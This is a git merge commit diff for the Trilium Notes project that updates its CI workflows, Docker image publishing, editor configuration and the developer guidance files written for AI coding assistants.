Merge remote-tracking branch 'origin/main' into feat/fun-take1

# Conflicts:
#	apps/client/src/services/doc_renderer.ts
#	apps/desktop/electron-forge/forge.config.ts
#	apps/desktop/package.json
#	apps/server/src/routes/api/files.ts
#	apps/server/src/routes/api/image.ts
#	apps/server/src/services/open_id.ts
#	apps/server/src/share/routes.ts
#	pnpm-lock.yaml

.editorconfig

@@ -1,6 +1,6 @@
 root = true
 
-[*.{js,ts,tsx,css}]
+[*.{js,cjs,ts,tsx,css}]
 charset = utf-8
 end_of_line = lf
 indent_size = 4

.github/actions/build-electron/action.yml

@@ -85,6 +85,7 @@ runs:
       APPLE_ID: ${{ env.APPLE_ID }}
       APPLE_ID_PASSWORD: ${{ env.APPLE_ID_PASSWORD }}
       WINDOWS_SIGN_EXECUTABLE: ${{ env.WINDOWS_SIGN_EXECUTABLE }}
+      WINDOWS_SIGN_ERROR_LOG: ${{ env.WINDOWS_SIGN_ERROR_LOG }}
       TRILIUM_ARTIFACT_NAME_HINT: TriliumNotes-${{ github.ref_name }}-${{ inputs.os }}-${{ inputs.arch }}
       TARGET_ARCH: ${{ inputs.arch }}
     run: pnpm run --filter desktop electron-forge:make --arch=${{ inputs.arch }} --platform=${{ inputs.forge_platform }}

.github/actions/build-server/action.yml

@@ -8,7 +8,7 @@ inputs:
 runs:
   using: composite
   steps:
-  - uses: pnpm/action-setup@v4
+  - uses: pnpm/action-setup@v5
   - name: Set up node & dependencies
     uses: actions/setup-node@v6
     with:

.github/actions/report-size/action.yml

@@ -69,7 +69,7 @@ runs:
 
     # Post github action comment
     - name: Post comment
-      uses: marocchino/sticky-pull-request-comment@v2
+      uses: marocchino/sticky-pull-request-comment@v3
       if: ${{ steps.bundleSize.outputs.hasDifferences == 'true' }} # post only in case of changes
       with:
         number: ${{ github.event.pull_request.number }}

.github/copilot-instructions.md

@@ -186,6 +186,14 @@ When adding query parameters to ETAPI endpoints (`apps/server/src/etapi/`), main
 
 **Auth note**: ETAPI uses basic auth with tokens. Internal API endpoints trust the frontend.
 
+### Adding New LLM Tools
+Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/` and automatically registered for both the LLM chat and MCP server.
+
+1. Add the tool definition in the appropriate module (`note_tools.ts`, `attribute_tools.ts`, `hierarchy_tools.ts`) or create a new module
+2. Each tool needs: `description`, `inputSchema` (Zod), `execute` function, and optionally `mutates: true` for write operations or `needsContext: true` for tools that need the current note context
+3. If creating a new module, wrap tools in `defineTools({...})` and add the registry to `allToolRegistries` in `tools/index.ts`
+4. Add a client-side friendly name in `apps/client/src/translations/en/translation.json` under `llm.tools.<tool_name>` — use **imperative tense** (e.g. "Search notes", "Create note", "Get attributes"), not present continuous
+
 ### Database Migrations
 - Add scripts in `apps/server/src/migrations/YYMMDD_HHMM__description.sql`
 - Update schema in `apps/server/src/assets/db/schema.sql`
@@ -213,6 +221,12 @@ When adding query parameters to ETAPI endpoints (`apps/server/src/etapi/`), main
 
 10. **Attribute inheritance can be complex** - When checking for labels/relations, use `note.getOwnedAttribute()` for direct attributes or `note.getAttribute()` for inherited ones. Don't assume attributes are directly on the note.
 
+## MCP Server
+- Trilium exposes an MCP (Model Context Protocol) server at `http://localhost:8080/mcp`, configured in `.mcp.json`
+- The MCP server is **only available when the Trilium server is running** (`pnpm run server:start`)
+- It provides tools for reading, searching, and modifying notes directly from the AI assistant
+- Use it to interact with actual note data when developing or debugging note-related features
+
 ## TypeScript Configuration
 
 - **Project references**: Monorepo uses TypeScript project references (`tsconfig.json`)
@@ -275,6 +289,12 @@ View types are configured via `#viewType` label (e.g., `#viewType=table`). Each
 - Register in `packages/ckeditor5/src/plugins.ts`
 - See `ckeditor5-admonition`, `ckeditor5-footnotes`, `ckeditor5-math`, `ckeditor5-mermaid` for examples
 
+### Updating PDF.js
+1. Update `pdfjs-dist` version in `packages/pdfjs-viewer/package.json`
+2. Run `npx tsx scripts/update-viewer.ts` from that directory
+3. Run `pnpm build` to verify success
+4. Commit all changes including updated viewer files
+
 ### Database Migrations
 - Add migration scripts in `apps/server/src/migrations/YYMMDD_HHMM__description.sql`
 - Update schema in `apps/server/src/assets/db/schema.sql`
@@ -299,6 +319,7 @@ Trilium provides powerful user scripting capabilities:
 - Translation files in `apps/client/src/translations/`
 - Use translation system via `t()` function
 - Automatic pluralization: Add `_other` suffix to translation keys (e.g., `item` and `item_other` for singular/plural)
+- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
 
 ## Testing Conventions
 

.github/workflows/checks.yml

@@ -12,7 +12,7 @@ jobs:
     steps:
       - name: Check if PRs have conflicts
         uses: eps1lon/actions-label-merge-conflict@v3
-        if: github.repository == ${{ vars.REPO_MAIN }}
+        if: ${{ github.repository == vars.REPO_MAIN }}
         with:
           dirtyLabel: "merge-conflicts"
           repoToken: "${{ secrets.MERGE_CONFLICT_LABEL_PAT }}"

.github/workflows/deploy-docs.yml

@@ -45,7 +45,7 @@ jobs:
         uses: actions/checkout@v6
 
       - name: Setup pnpm
-        uses: pnpm/action-setup@v4
+        uses: pnpm/action-setup@v5
 
       - name: Setup Node.js
         uses: actions/setup-node@v6
@@ -67,7 +67,7 @@ jobs:
 
       - name: Deploy
         uses: ./.github/actions/deploy-to-cloudflare-pages
-        if: github.repository == ${{ vars.REPO_MAIN }}
+        if: ${{ github.repository == vars.REPO_MAIN }}
         with:
           project_name: "trilium-docs"
           comment_body: "📚 Documentation preview is ready"

.github/workflows/dev.yml

@@ -1,9 +1,13 @@
 name: Dev
 on:
   push:
-    branches: [ main ]
+    branches:
+      - main
+      - "release/*"
   pull_request:
-    branches: [ main ]
+    branches:
+      - main
+      - "release/*"
 
 concurrency:
   group: ${{ github.workflow }}-${{ github.ref }}
@@ -26,7 +30,7 @@ jobs:
       - name: Checkout the repository
         uses: actions/checkout@v6
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:
@@ -37,8 +41,35 @@ jobs:
       - name: Typecheck
         run: pnpm typecheck
 
-      - name: Run the unit tests
-        run: pnpm run test:all
+      - name: Run the client-side tests
+        run: pnpm run --filter=client test
+
+      - name: Upload client test report
+        uses: actions/upload-artifact@v7
+        if: always()
+        with:
+          name: client-test-report
+          path: apps/client/test-output/vitest/html/
+          retention-days: 30
+
+      - name: Run the server-side tests
+        run: pnpm run --filter=server test
+
+      - name: Upload server test report
+        uses: actions/upload-artifact@v7
+        if: always()
+        with:
+          name: server-test-report
+          path: apps/server/test-output/vitest/html/
+          retention-days: 30
+
+      - name: Run CKEditor e2e tests
+        run: |
+          pnpm run --filter=ckeditor5-mermaid test
+          pnpm run --filter=ckeditor5-math test
+
+      - name: Run the rest of the tests
+        run: pnpm run --filter=\!client --filter=\!server --filter=\!ckeditor5-mermaid --filter=\!ckeditor5-math test
 
   build_docker:
     name: Build Docker image
@@ -47,7 +78,7 @@ jobs:
       - test_dev
     steps:
       - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
       - name: Update build info
@@ -62,8 +93,8 @@ jobs:
           key: ${{ secrets.RELATIVE_CI_CLIENT_KEY }}
       - name: Trigger server build
         run: pnpm run server:build
-      - uses: docker/setup-buildx-action@v3
-      - uses: docker/build-push-action@v6
+      - uses: docker/setup-buildx-action@v4
+      - uses: docker/build-push-action@v7
         with:
           context: apps/server
           cache-from: type=gha
@@ -82,7 +113,7 @@ jobs:
       - name: Checkout the repository
         uses: actions/checkout@v6
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
 
@@ -97,10 +128,10 @@ jobs:
         run: echo "TEST_TAG=${TEST_TAG,,}" >> $GITHUB_ENV
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Build and export to Docker
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: apps/server
           file: apps/server/${{ matrix.dockerfile }}

.github/workflows/i18n.yml

@@ -18,7 +18,7 @@ jobs:
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:

.github/workflows/main-docker.yml

@@ -40,9 +40,9 @@ jobs:
         run: echo "TEST_TAG=${TEST_TAG,,}" >> $GITHUB_ENV
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:
@@ -59,7 +59,7 @@ jobs:
         run: pnpm run server:build
 
       - name: Build and export to Docker
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: apps/server
           file: apps/server/${{ matrix.dockerfile }}
@@ -86,12 +86,12 @@ jobs:
 
       - name: Upload Playwright trace
         if: failure()
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: Playwright trace (${{ matrix.dockerfile }})
           path: test-output/playwright/output
 
-      - uses: actions/upload-artifact@v6
+      - uses: actions/upload-artifact@v7
         if: ${{ !cancelled() }}
         with:
           name: Playwright report (${{ matrix.dockerfile }})
@@ -142,7 +142,7 @@ jobs:
 
       - name: Checkout repository
         uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:
@@ -164,11 +164,9 @@ jobs:
 
       - name: Docker meta
         id: meta
-        uses: docker/metadata-action@v5
+        uses: docker/metadata-action@v6
         with:
-          images: |
-            ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}
-            ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}
+          images: ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}
           tags: |
             type=ref,event=branch
             type=ref,event=tag
@@ -177,28 +175,21 @@ jobs:
             latest=false
 
       - name: Set up QEMU
-        uses: docker/setup-qemu-action@v3
+        uses: docker/setup-qemu-action@v4
 
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Login to GHCR
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: ${{ env.GHCR_REGISTRY }}
           username: ${{ github.actor }}
           password: ${{ secrets.GITHUB_TOKEN }}
 
-      - name: Login to DockerHub
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKERHUB_REGISTRY }}
-          username: ${{ secrets.DOCKERHUB_USERNAME }}
-          password: ${{ secrets.DOCKERHUB_TOKEN }}
-
       - name: Build and push by digest
         id: build
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           context: apps/server
           file: apps/server/${{ matrix.dockerfile }}
@@ -213,7 +204,7 @@ jobs:
           touch "/tmp/digests/${digest#sha256:}"
 
       - name: Upload digest
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: digests-${{ env.PLATFORM_PAIR }}-${{ matrix.dockerfile }}
           path: /tmp/digests/*
@@ -227,7 +218,7 @@ jobs:
       - build
     steps:
       - name: Download digests
-        uses: actions/download-artifact@v7
+        uses: actions/download-artifact@v8
         with:
           path: /tmp/digests
           pattern: digests-*
@@ -237,75 +228,86 @@ jobs:
       - name: Set TEST_TAG to lowercase
         run: echo "TEST_TAG=${TEST_TAG,,}" >> $GITHUB_ENV
 
-      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
-
-      - name: Docker meta
-        id: meta
-        uses: docker/metadata-action@v5
-        with:
-          images: |
-            ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}
-            ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}
-          flavor: |
-            latest=false
+      - name: Set up crane
+        uses: imjasonh/setup-crane@v0.5
 
       - name: Login to GHCR
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: ${{ env.GHCR_REGISTRY }}
           username: ${{ github.actor }}
           password: ${{ secrets.GITHUB_TOKEN }}
 
       - name: Login to DockerHub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           registry: ${{ env.DOCKERHUB_REGISTRY }}
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: Create manifest list and push
+      - name: Docker meta
+        id: meta
+        uses: docker/metadata-action@v6
+        with:
+          images: ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}
+          tags: |
+            type=ref,event=branch
+            type=ref,event=tag
+            type=sha
+          flavor: |
+            latest=false
+
+      - name: Verify digests exist on GHCR
         working-directory: /tmp/digests
         run: |
-          # Extract the branch or tag name from the ref
-          REF_NAME=$(echo "${GITHUB_REF}" | sed 's/refs\/heads\///' | sed 's/refs\/tags\///')
+          echo "Verifying all digests are available on GHCR..."
+          for DIGEST_FILE in *; do
+            DIGEST="sha256:${DIGEST_FILE}"
+            echo -n "  ${DIGEST}: "
+            crane manifest "${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}@${DIGEST}" > /dev/null
+            echo "OK"
+          done
 
-          # Create and push the manifest list with both the branch/tag name and the commit SHA
-          docker buildx imagetools create $(jq -cr '.tags | map("-t " + .) | join(" ")' <<< "$DOCKER_METADATA_OUTPUT_JSON") \
-            -t ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:${REF_NAME} \
-            $(printf '${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}@sha256:%s ' *)
+      - name: Create and push multi-arch manifest
+        working-directory: /tmp/digests
+        run: |
+          GHCR_IMAGE="${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}"
+          DOCKERHUB_IMAGE="${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}"
 
-          docker buildx imagetools create $(jq -cr '.tags | map("-t " + .) | join(" ")' <<< "$DOCKER_METADATA_OUTPUT_JSON") \
-            -t ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${REF_NAME} \
-            $(printf '${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}@sha256:%s ' *)
+          # Build -m flags for crane index append from digest files
+          MANIFEST_ARGS=""
+          for d in *; do
+            MANIFEST_ARGS="${MANIFEST_ARGS} -m ${GHCR_IMAGE}@sha256:${d}"
+          done
 
-          # If the ref is a tag, also tag the image as stable as this is part of a 'release'
-          # and only go in the `if` if there is NOT a `-` in the tag's name, due to tagging of `-alpha`, `-beta`, etc...
+          # Create multi-arch manifest for each tag from metadata, plus copy to DockerHub
+          while IFS= read -r TAG; do
+            echo "Creating manifest: ${TAG}"
+            crane index append ${MANIFEST_ARGS} -t "${TAG}"
+
+            SUFFIX="${TAG#*:}"
+            echo "Copying to DockerHub: ${DOCKERHUB_IMAGE}:${SUFFIX}"
+            crane copy "${TAG}" "${DOCKERHUB_IMAGE}:${SUFFIX}"
+          done <<< "${{ steps.meta.outputs.tags }}"
+
+          # For stable releases (tags without hyphens), also create stable + latest
+          REF_NAME="${GITHUB_REF#refs/tags/}"
           if [[ "${GITHUB_REF}" == refs/tags/* && ! "${REF_NAME}" =~ - ]]; then
-            # First create stable tags
-            docker buildx imagetools create $(jq -cr '.tags | map("-t " + .) | join(" ")' <<< "$DOCKER_METADATA_OUTPUT_JSON") \
-              -t ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:stable \
-              $(printf '${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}@sha256:%s ' *)
-
-            docker buildx imagetools create $(jq -cr '.tags | map("-t " + .) | join(" ")' <<< "$DOCKER_METADATA_OUTPUT_JSON") \
-              -t ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:stable \
-              $(printf '${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}@sha256:%s ' *)
-
-            # Small delay to ensure stable tag is fully propagated
-            sleep 5
-
-            # Now update latest tags
-            docker buildx imagetools create \
-              -t ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:latest \
-              ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:stable
-
-            docker buildx imagetools create \
-              -t ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest \
-              ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:stable
+            echo "Creating stable tags..."
+            crane index append ${MANIFEST_ARGS} -t "${GHCR_IMAGE}:stable"
+            crane copy "${GHCR_IMAGE}:stable" "${DOCKERHUB_IMAGE}:stable"
 
+            echo "Creating latest tags..."
+            crane copy "${GHCR_IMAGE}:stable" "${GHCR_IMAGE}:latest"
+            crane copy "${GHCR_IMAGE}:latest" "${DOCKERHUB_IMAGE}:latest"
           fi
 
-      - name: Inspect image
+      - name: Inspect manifests
         run: |
-          docker buildx imagetools inspect ${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.meta.outputs.version }}
-          docker buildx imagetools inspect ${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.meta.outputs.version }}
+          REF_NAME="${GITHUB_REF#refs/heads/}"
+          REF_NAME="${REF_NAME#refs/tags/}"
+          echo "=== GHCR ==="
+          crane manifest "${{ env.GHCR_REGISTRY }}/${{ env.IMAGE_NAME }}:${REF_NAME}"
+          echo ""
+          echo "=== DockerHub ==="
+          crane manifest "${{ env.DOCKERHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${REF_NAME}"

.github/workflows/nightly.yml

@@ -26,7 +26,7 @@ permissions:
 
 jobs:
   nightly-electron:
-    if: github.repository == ${{ vars.REPO_MAIN }}
+    if: ${{ github.repository == vars.REPO_MAIN }}
     name: Deploy nightly
     strategy:
       fail-fast: false
@@ -61,7 +61,7 @@ jobs:
     runs-on: ${{ matrix.os.image }}
     steps:
       - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:
@@ -69,6 +69,8 @@ jobs:
           cache: 'pnpm'
       - name: Install dependencies
         run: pnpm install --frozen-lockfile
+        env:
+          npm_config_package_import_method: copy
       - name: Update nightly version
         run: pnpm run chore:ci-update-nightly-version
       - name: Run the build
@@ -87,10 +89,11 @@ jobs:
           APPLE_ID: ${{ secrets.APPLE_ID }}
           APPLE_ID_PASSWORD: ${{ secrets.APPLE_ID_PASSWORD }}
           WINDOWS_SIGN_EXECUTABLE: ${{ vars.WINDOWS_SIGN_EXECUTABLE }}
+          WINDOWS_SIGN_ERROR_LOG: ${{ vars.WINDOWS_SIGN_ERROR_LOG }}
           GPG_SIGNING_KEY: ${{ secrets.GPG_SIGN_KEY }}
 
       - name: Publish release
-        uses: softprops/action-gh-release@v2.5.0
+        uses: softprops/action-gh-release@v2.6.1
         if: ${{ github.event_name != 'pull_request' }}
         with:
           make_latest: false
@@ -102,14 +105,14 @@ jobs:
           name: Nightly Build
 
       - name: Publish artifacts
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         if: ${{ github.event_name == 'pull_request' }}
         with:
           name: TriliumNotes ${{ matrix.os.name }} ${{ matrix.arch }}
           path: apps/desktop/upload
 
   nightly-server:
-    if: github.repository == ${{ vars.REPO_MAIN }}
+    if: ${{ github.repository == vars.REPO_MAIN }}
     name: Deploy server nightly
     strategy:
       fail-fast: false
@@ -131,7 +134,7 @@ jobs:
           arch: ${{ matrix.arch }}
 
       - name: Publish release
-        uses: softprops/action-gh-release@v2.5.0
+        uses: softprops/action-gh-release@v2.6.1
         if: ${{ github.event_name != 'pull_request' }}
         with:
           make_latest: false

.github/workflows/playwright.yml

@@ -38,7 +38,7 @@ jobs:
           filter: tree:0
           fetch-depth: 0
 
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - uses: actions/setup-node@v6
         with:
           node-version: 24
@@ -77,7 +77,7 @@ jobs:
 
       - name: Upload test report
         if: failure()
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: e2e report ${{ matrix.arch }}
           path: apps/server-e2e/test-output

.github/workflows/release.yml

@@ -17,10 +17,22 @@ jobs:
     steps:
       - uses: actions/checkout@v6
 
+      - uses: pnpm/action-setup@v5
+      - name: Set up node & dependencies
+        uses: actions/setup-node@v6
+        with:
+          node-version: 24
+          cache: 'pnpm'
+
+      - name: Install dependencies
+        run: pnpm install --filter source --frozen-lockfile --ignore-scripts
+
       - name: Check version consistency
         run: pnpm tsx ${{ github.workspace }}/scripts/check-version-consistency.ts ${{ github.ref_name }}
   make-electron:
     name: Make Electron
+    needs:
+      - sanity-check
     strategy:
       fail-fast: false
       matrix:
@@ -54,7 +66,7 @@ jobs:
     runs-on: ${{ matrix.os.image }}
     steps:
       - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:
@@ -78,16 +90,19 @@ jobs:
           APPLE_ID: ${{ secrets.APPLE_ID }}
           APPLE_ID_PASSWORD: ${{ secrets.APPLE_ID_PASSWORD }}
           WINDOWS_SIGN_EXECUTABLE: ${{ vars.WINDOWS_SIGN_EXECUTABLE }}
+          WINDOWS_SIGN_ERROR_LOG: ${{ vars.WINDOWS_SIGN_ERROR_LOG }}
           GPG_SIGNING_KEY: ${{ secrets.GPG_SIGN_KEY }}
 
       - name: Upload the artifact
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: release-desktop-${{ matrix.os.name }}-${{ matrix.arch }}
           path: apps/desktop/upload/*.*
 
   build_server:
     name: Build Linux Server
+    needs:
+      - sanity-check
     strategy:
       fail-fast: false
       matrix:
@@ -108,7 +123,7 @@ jobs:
           arch: ${{ matrix.arch }}
 
       - name: Upload the artifact
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: release-server-linux-${{ matrix.arch }}
           path: upload/*.*
@@ -128,14 +143,14 @@ jobs:
             docs/Release Notes
 
       - name: Download all artifacts
-        uses: actions/download-artifact@v7
+        uses: actions/download-artifact@v8
         with:
           merge-multiple: true
           pattern: release-*
           path: upload
 
       - name: Publish stable release
-        uses: softprops/action-gh-release@v2.5.0
+        uses: softprops/action-gh-release@v2.6.1
         with:
           draft: false
           body_path: docs/Release Notes/Release Notes/${{ github.ref_name }}.md

.github/workflows/web-clipper.yml

@@ -0,0 +1,69 @@
+name: Deploy web clipper extension
+
+on:
+  push:
+    branches:
+      - main
+    paths:
+      - "apps/web-clipper/**"
+    tags:
+      - "web-clipper-v*"
+
+  pull_request:
+    paths:
+      - "apps/web-clipper/**"
+
+permissions:
+  contents: write
+  discussions: write
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    name: Build web clipper extension
+
+    permissions:
+      contents: read
+      deployments: write
+
+    steps:
+      - uses: actions/checkout@v6
+      - uses: pnpm/action-setup@v5
+      - name: Set up node & dependencies
+        uses: actions/setup-node@v6
+        with:
+          node-version: 24
+          cache: "pnpm"
+
+      - name: Install dependencies
+        run: pnpm install --filter web-clipper --frozen-lockfile --ignore-scripts
+
+      - name: Build the web clipper extension
+        run: |
+          pnpm --filter web-clipper zip
+          pnpm --filter web-clipper zip:firefox
+
+      - name: Upload build artifacts
+        uses: actions/upload-artifact@v7
+        if: ${{ !startsWith(github.ref, 'refs/tags/web-clipper-v') }}
+        with:
+          name: web-clipper-extension
+          path: apps/web-clipper/.output/*.zip
+          include-hidden-files: true
+          if-no-files-found: error
+          compression-level: 0
+
+      - name: Release web clipper extension
+        uses: softprops/action-gh-release@v2.6.1
+        if: ${{ startsWith(github.ref, 'refs/tags/web-clipper-v') }}
+        with:
+          draft: false
+          fail_on_unmatched_files: true
+          files: apps/web-clipper/.output/*.zip
+          discussion_category_name: Releases
+          make_latest: false
+          token: ${{ secrets.RELEASE_PAT }}

.github/workflows/website.yml

@@ -26,7 +26,7 @@ jobs:
 
     steps:
       - uses: actions/checkout@v6
-      - uses: pnpm/action-setup@v4
+      - uses: pnpm/action-setup@v5
       - name: Set up node & dependencies
         uses: actions/setup-node@v6
         with:

.gitignore

@@ -46,7 +46,6 @@ upload
 
 /.direnv
 /result
-.svelte-kit
 
 # docs
 site/

.mcp.json

@@ -0,0 +1,8 @@
+{
+  "mcpServers": {
+    "trilium": {
+      "type": "http",
+      "url": "http://localhost:8080/mcp"
+    }
+  }
+}

.nvmrc

@@ -1 +1 @@
-24.13.0
+24.14.1

.vscode/launch.json

@@ -0,0 +1,57 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Launch client (Chrome)",
+      "request": "launch",
+      "type": "chrome",
+      "url": "http://localhost:8080",
+      "webRoot": "${workspaceFolder}/apps/client"
+    },
+    {
+      "name": "Launch server",
+      "type": "node",
+      "request": "launch",
+      "program": "${workspaceFolder}/apps/server/src/main.ts",
+      "runtimeExecutable": "${workspaceFolder}/node_modules/.bin/tsx",
+      "env": {
+        "NODE_ENV": "development",
+        "TRILIUM_ENV": "dev",
+        "TRILIUM_DATA_DIR": "${input:trilium_data_dir}",
+        "TRILIUM_RESOURCE_DIR": "${workspaceFolder}/apps/server/src"
+      },
+      "autoAttachChildProcesses": true,
+      "cwd": "${workspaceFolder}",
+      "console": "integratedTerminal",
+      "internalConsoleOptions": "neverOpen",
+      "skipFiles": ["<node_internals>/**", "${workspaceFolder}/node_modules/**"]
+    },
+    {
+      "name": "Launch Vitest with current test file",
+      "type": "node",
+      "request": "launch",
+      "autoAttachChildProcesses": true,
+      "program": "${workspaceFolder}/node_modules/vitest/vitest.mjs",
+      "args": ["run", "${relativeFile}"],
+      "smartStep": true,
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**", "**/node_modules/**"],
+      "cwd": "${workspaceFolder}"
+    }
+  ],
+  "compounds": [
+    {
+      "name": "Launch client (Chrome) and server",
+      "configurations": ["Launch server","Launch client (Chrome)"],
+      "stopAll": true
+    }
+  ],
+  "inputs": [
+    {
+      "id": "trilium_data_dir",
+      "type": "promptString",
+      "description": "Select Trilum Notes data directory",
+      "default": "${workspaceFolder}/apps/server/data"
+    }
+  ]
+}

.vscode/settings.json

@@ -42,5 +42,8 @@
     },
     "eslint.rules.customizations": [
         { "rule": "*", "severity": "warn" }
+    ],
+    "cSpell.words": [
+      "Trilium"
     ]
-}
+}

CLAUDE.md

@@ -118,6 +118,9 @@ Trilium provides powerful user scripting capabilities:
 ### Internationalization
 - Translation files in `apps/client/src/translations/`
 - Supported languages: English, German, Spanish, French, Romanian, Chinese
+- **Only add new translation keys to `en/translation.json`** — translations for other languages are managed via Weblate and will be contributed by the community
+- Third-party components (e.g., mind-map context menu) should use i18next `t()` for their labels, with the English strings added to `en/translation.json` under a dedicated namespace (e.g., `"mind-map"`)
+- When a translated string contains **interpolated components** (e.g. links, note references) whose order may vary across languages, use `<Trans>` from `react-i18next` instead of `t()`. This lets translators reorder components freely (e.g. `"<Note/> in <Parent/>"` vs `"in <Parent/>, <Note/>"`)
 
 ### Security Considerations
 - Per-note encryption with granular protected sessions
@@ -125,6 +128,15 @@ Trilium provides powerful user scripting capabilities:
 - OpenID and TOTP authentication support
 - Sanitization of user-generated content
 
+### Client-Side API Restrictions
+- **Do not use `crypto.randomUUID()`** or other Web Crypto APIs that require secure contexts - Trilium can run over HTTP, not just HTTPS
+- Use `randomString()` from `apps/client/src/services/utils.ts` for generating IDs instead
+
+### Shared Types Policy
+- Types shared between client and server belong in `@triliumnext/commons` (`packages/commons/src/lib/`)
+- Import shared types directly from `@triliumnext/commons` - do not re-export them from app-specific modules
+- Keep app-specific types (e.g., `LlmProvider` for server, `StreamCallbacks` for client) in their respective apps
+
 ## Common Development Tasks
 
 ### Adding New Note Types
@@ -140,10 +152,37 @@ Trilium provides powerful user scripting capabilities:
 - Create new package in `packages/` following existing plugin structure
 - Register in `packages/ckeditor5/src/plugins.ts`
 
+### Adding New LLM Tools
+Tools are defined using `defineTools()` in `apps/server/src/services/llm/tools/` and automatically registered for both the LLM chat and MCP server.
+
+1. Add the tool definition in the appropriate module (`note_tools.ts`, `attribute_tools.ts`, `attachment_tools.ts`, `hierarchy_tools.ts`) or create a new module
+2. Each tool needs: `description`, `inputSchema` (Zod), `execute` function, and optionally `mutates: true` for write operations
+3. If creating a new module, wrap tools in `defineTools({...})` and add the registry to `allToolRegistries` in `tools/index.ts`
+4. Add a client-side friendly name in `apps/client/src/translations/en/translation.json` under `llm.tools.<tool_name>` — use **imperative tense** (e.g. "Search notes", "Create note", "Get attributes"), not present continuous
+5. Use ETAPI (`apps/server/src/etapi/`) as inspiration for what fields to expose, but **do not import ETAPI mappers** — inline the field mappings directly in the tool so the LLM layer stays decoupled from the API layer
+
+### Updating PDF.js
+1. Update `pdfjs-dist` version in `packages/pdfjs-viewer/package.json`
+2. Run `npx tsx scripts/update-viewer.ts` from that directory
+3. Run `pnpm build` to verify success
+4. Commit all changes including updated viewer files
+
 ### Database Migrations
 - Add migration scripts in `apps/server/src/migrations/`
